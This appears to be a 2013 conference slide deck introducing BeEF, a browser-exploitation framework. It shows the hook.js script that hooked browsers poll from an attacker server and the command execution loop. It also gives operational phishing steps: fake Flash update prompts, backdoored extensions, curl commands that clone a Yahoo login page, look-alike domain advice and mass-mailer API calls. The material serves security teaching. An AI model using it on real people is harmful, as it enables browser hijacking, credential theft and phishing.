I GOT YOUR BROWSER: SAY HELLO TO BEEF

AntiSnatchOr

University of Luxemburg, May 2013
ABOUT ANTISNATCHOR

• **Lead core developer of BeEF**
• **Pentester & bug hunter**
• **Co-author of Browser Hacker’s Handbook (Feb 2014)**
• **Loves Ruby, Javascript and OpenBSD**
• **Kubrick & Вodka fan**
DISCLAIMER

• THE INFORMATION OF MY SLIDES AND TALK IS INFORMATIONAL ONLY.

• IF YOU USE IT TO CREATE DAMAGE, IS AT YOUR OWN RISK

• I’M NOT RESPONSIBLE FOR ANY DAMAGE YOU MIGHT DO USING BEEF, THESE SLIDES OR THIS TALK.
BEEF

• **The most robust framework to control the browser of a victim entirely with Javascript.**

• **Each browser is likely to be within a different security context, and each context may provide a set of unique attack vectors.**
HIGH LEVEL ARCHITECTURE

BeEF Owner (attacker) -> BeEF UI -> BEEF CS
- Polling

ZOMBIE 18.5.3.67
- Polling

ZOMBIE 8.2.7.9
- Polling

ZOMBIE 11.4.2.5
- Polling

ZOMBIE 7.3.7.4
- Polling

COMMAND, CONTROL, PWN
**LET'S START TO PLAY WITH IT**

- **BeEF Live CD (v 1.3)**
  - Based on Ubuntu 😊
  - Latest (GIT): BeEF, Metasploit, sqlmap
  - No GUI
  - [HTTP://DOWNLOADS.BEEFPROJECT.COM/BeEFLive1.3.iso](http://downloads.beefproject.com/BeEFLive1.3.iso)
  - Wiki: [https://github.com/beefproject/beef/wiki/BeEF-Live-CD](https://github.com/beefproject/beef/wiki/BeEF-Live-CD)

- **Latest Ruby + gem dependencies pre-installed:**
  - If you have issues installing BeEF, use the live CD (i.e. don’t bother us :-)

*Thanks Ben Waugh*
1. http://x.x.x.x/hook.js

the victim request the hook
http://x.x.x.x/hook.js

1. The victim request the hook

2. JS executed, `beef_init()` called

```javascript
function beef_init() {
    if (!beef.pageIsLoaded) {
        beef.pageIsLoaded = true;
        if (beef.browser.hasWebsocket() && typeof beef.websocket !== 'undefined') {
            beef.websocket.start();
            beef.net.browser_details();
            beef.updater.execute_commands();
            beef.logger.start();
        } else {
            beef.net.browser_details();
            beef.updater.execute_commands();
            beef.updater.check();
            beef.updater.check();
            beef.logger.start();
        }
    }
}
```
The victim request the hook
JS executed, beef_init() called

1. http://x.x.x.x/hook.js

2. return browser details, start polling on http://x.x.x.x/hook.js

3. POLLING
The BeEF admin wants to send a module.

The victim request the hook.

JS executed, `beef_init()` called.

BeEF.

HTTP request to `http://x.x.x.x/hook.js`.

Return browser details, start polling on `http://x.x.x.x/hook.js`.

Polling.

```
beef.execute(function(){
    prompt('wtf?');
});
```
BeEF - XHR INTERNALS

1. The victim requests the hook

2. JS executed, beef_init() called

3. Return browser details, start polling on http://x.x.x.x/hook.js

4. The BeEF admin wants to send a module

5. Polling: returns something this time!

```javascript
beef.execute(function(){
  prompt('wtf?
});
```
the BeEF admin wants to send a module

1. request the hook

2. JS executed, beef_init() called

3. return browser details, start polling on http://x.x.x.x/hook.js

4. the poll to http://x.x.x.x/hook.js returns something this time!

5. beef.execute(content is added to a stack (beef.commands)

6. cmd = beef.commands.pop();
   try {
     cmd();
   }

the victim
the BeEF admin wants to send a module

http://x.x.x.x/hook.js

return browser details, start polling on http://x.x.x.x/hook.js

the poll to http://x.x.x.x/hook.js returns something this time!

beef.execute content is added to a stack (beef.commands)

```javascript
beef.execute(function(){
  prompt('wtf?');
}
);
```

cmd = beef.commands.pop();
try {
  cmd();
}

the victim request the hook

JS executed, beef_init() called

The page at 127.0.0.1:3000 says:
wtf?
don't know!
OTHER COMMUNICATION CHANNELS

• **WebSocket**
  - **Almost real-time communication, high responsiveness**
  - Both WebSocket and WebSocketSecure are supported

• **Just start BeEF with the following configuration (main config.yaml):**

```yaml
# Prefer WebSockets over XHR-polling when possible.
websocket:
  enable: true
  secure: true  # use WebSocketSecure work only on https domain and whit https support enabled in BeEF
  port: 61985  # WS: good success rate through proxies
  secure_port: 61986  # WSS
  alive_timer: 1000  # poll BeEF every second
```
ATTACK THE USER

• Trick the user to click/accept something using visual social engineering techniques, like:
  • Fake flash update
  • Clippy

• Automate WebCloning and Mass Mailing with the Social Engineering extension
FAKE FLASH UPDATE

• Display a Fake Flash Update, which looks legit, and convince the victim to install a malicious Chrome or Firefox extension.

• For a complete real-world scenario, have a look at BeEF’s blog:
  • http://blog.beeffproject.com/2013/03/subverting-cloud-based-infrastructure.html
FAKE FLASH UPDATE by Mike Haworth & antisnatchor

- Prompts the user to install an update to Adobe Flash Player
- The file to be delivered could be a Chrome or Firefox extension

- Chrome <= 20 is required for the Chrome extension delivery
- (Chrome >= 21 enables extensions coming only from Google WebStore)
FAKE FLASH UPDATE AND CHROME EXTENSIONS

• **Complete browser control**
  - **Across all tabs**
  - **Across reboots**
  - **Across non-originally hooked domains**

• **With Chrome >= 21, extensions can’t be delivered from BeEF**
  - **Backdoor an extension adding the BeEF hook (1 line of Javascript) and upload them in Google AppStore**
FAKE FLASH UPDATE AND CHROME EXTENSIONS
| **FAKE FLASH UPDATE AND CHROME EXTENSIONS** |

<table>
<thead>
<tr>
<th><strong>Hooked Browsers</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Online Browsers</strong></td>
</tr>
<tr>
<td>127.0.0.1</td>
</tr>
<tr>
<td>127.0.0.1</td>
</tr>
<tr>
<td>127.0.0.1</td>
</tr>
<tr>
<td>127.0.0.1</td>
</tr>
<tr>
<td>127.0.0.1</td>
</tr>
<tr>
<td>127.0.0.1</td>
</tr>
<tr>
<td>127.0.0.1</td>
</tr>
<tr>
<td>127.0.0.1</td>
</tr>
<tr>
<td><strong>Offline Browsers</strong></td>
</tr>
<tr>
<td>10.90.82.61</td>
</tr>
<tr>
<td>10.90.82.61</td>
</tr>
<tr>
<td>127.0.0.1</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th><strong>Getting Started</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Details</strong></td>
</tr>
<tr>
<td>Has GoogleGears: No</td>
</tr>
<tr>
<td>Has WebSockets: Yes</td>
</tr>
<tr>
<td>Has ActiveX: No</td>
</tr>
<tr>
<td>Session Cookies: Yes</td>
</tr>
<tr>
<td>Persistent Cookies: Yes</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Category: Hooked Page (5 Items)</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Page Title</strong>: (1) Welcome, Michele!</td>
</tr>
<tr>
<td><strong>Page URL</strong>: <a href="https://www.linkedin.com/home?trk=hb_tab_home_top">https://www.linkedin.com/home?trk=hb_tab_home_top</a></td>
</tr>
<tr>
<td><strong>Page Referrer</strong>: <a href="https://www.linkedin.com/inbox/messages/received?trk=hb_tab_inbox_top">https://www.linkedin.com/inbox/messages/received?trk=hb_tab_inbox_top</a></td>
</tr>
<tr>
<td><strong>Hostname/IP</strong>: <a href="http://www.linkedin.com">www.linkedin.com</a></td>
</tr>
<tr>
<td><strong>Cookies</strong>: cookie1=value1; cookie2=value2; ...</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Category: Host (4 Items)</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Date</strong>: Tue Jun 19 2012 10:35:25 GMT+0100 (BST)</td>
</tr>
<tr>
<td><strong>OS Name</strong>: Macintosh</td>
</tr>
<tr>
<td><strong>System Platform</strong>: MacIntel</td>
</tr>
<tr>
<td><strong>Screen Size</strong>: Width: 1440, Height: 900, Colour Depth: 24</td>
</tr>
</tbody>
</table>
DEMO TIME

- Subverting a cloud-based infrastructure with XSS and BeEF
SOCIAL ENGINEERING FOR THE MASSES

- The idea was to have new BeEF features, exposed with the RESTful API, to:
  - Send phishing emails using HTML templates;
  - Clone webpages, harvest credentials;
  - Client-side pwnage.
SOCIAL ENGINEERING FOR THE MASSES: WEBCLONER

- **Clone a webpage and serve it on BeEF, then automatically:**
  - **Modify the page to intercept POST requests.**
  - **Add the BeEF hook to the page.**
  - **If the page can be framed, after POST interception load the original page on an overlay iFrame, otherwise redirect to original page.**
SOCIAL ENGINEERING FOR THE MASSES: WEBCLONER

- curl -H "Content-Type: application/json; charset=UTF-8" -d '{"url":"https://login.yahoo.com/config/login_verify2", "mount":"/"}' -X POST http://<BeEF>/api/seng/clone_page?token=53921d2736116dbd86f8f7f7f10e46f1

- IF YOU REGISTER LOGINYAHOO.COM, YOU CAN SPECIFY A MOUNT POINT OF /CONFIG/LOGIN_VERIFY2, SO THE PHISHING URL WILL BE (ALMOST) THE SAME
SOCIAL ENGINEERING FOR THE MASSES: MASSMAILER

- **Do your phishing email campaigns**
  - **Get a sample email from your target** (possibly with company footer/HTML)
  - **Copy the HTML content in a new BeEF email template**
  - **Download images so they will be added inline.**
  - **Add you malicious links/attachments**
  - **Send the email to X targets -> Fun!**
SOCIAL ENGINEERING FOR THE MASSES: MASSMAILER

```ruby
mass_mailer:
    # NOTE: you must have 'File' in your PATH
    user_agent: "Microsoft-MacOutlook/12.12.0.111556"
    host: "smtp.gmail.com"
    port: 587
    use_auth: true
    use_tls: true
    helo: "gmail.com" # this is usually the domain name
    from: "youruser@gmail.com"
    password: "yourpass"
    # available templates
    templates:
        default:
            # images are by default inline, so if you want to add
            images: ["beef_logo.png", "second_image.png"]
            images_cids:
                cid1: "beef_logo.png"
                #cid2: "second_image.png"
            attachments: ["beef_attachment.pdf"]
```
SOCIAL ENGINEERING FOR THE MASSES: MASSMAILER

- curl -H "Content-Type: application/json; charset=UTF-8" -d 'body' -X POST http://<BeEF>/api/seng/send_mails?token=0fda00ea62a1102f

- Where body is:

```json
{
  "template": "default",
  "subject": "Hi from BeEF",
  "fromname": "BeEF",
  "fromaddr": "beef@beef.com",
  "link": "http://www.microsoft.com/",
  "linktext": "http://beefproject.com",
  "recipients": [
    {
      "user1@gmail.com": "Michele",
      "user2@antisnatchor.com": "Antisnatchor"
    }
  ]
}
```
SOCIAL ENGINEERING
FOR THE MASSES: MASSMAILER

• More info about the Social Engineering extension:
  • http://blog.beefproject.com/2012/09/beef-web-cloning-beef-mass-mailing.html
  • Read the code: <beef>/extensions/social_engineering/rest/social_engineering.rb
DEMO TIME

- Combining BeEF’S WebCloner and MassMailer to achieve spear phishing
THANKS

• If you want to know more about hacking the browser, buy my book (Feb 2014) 😊

• http://www.amazon.co.uk/Browser-Hackers-Handbook-Wade-Alcorn/dp/1118662091

• Questions?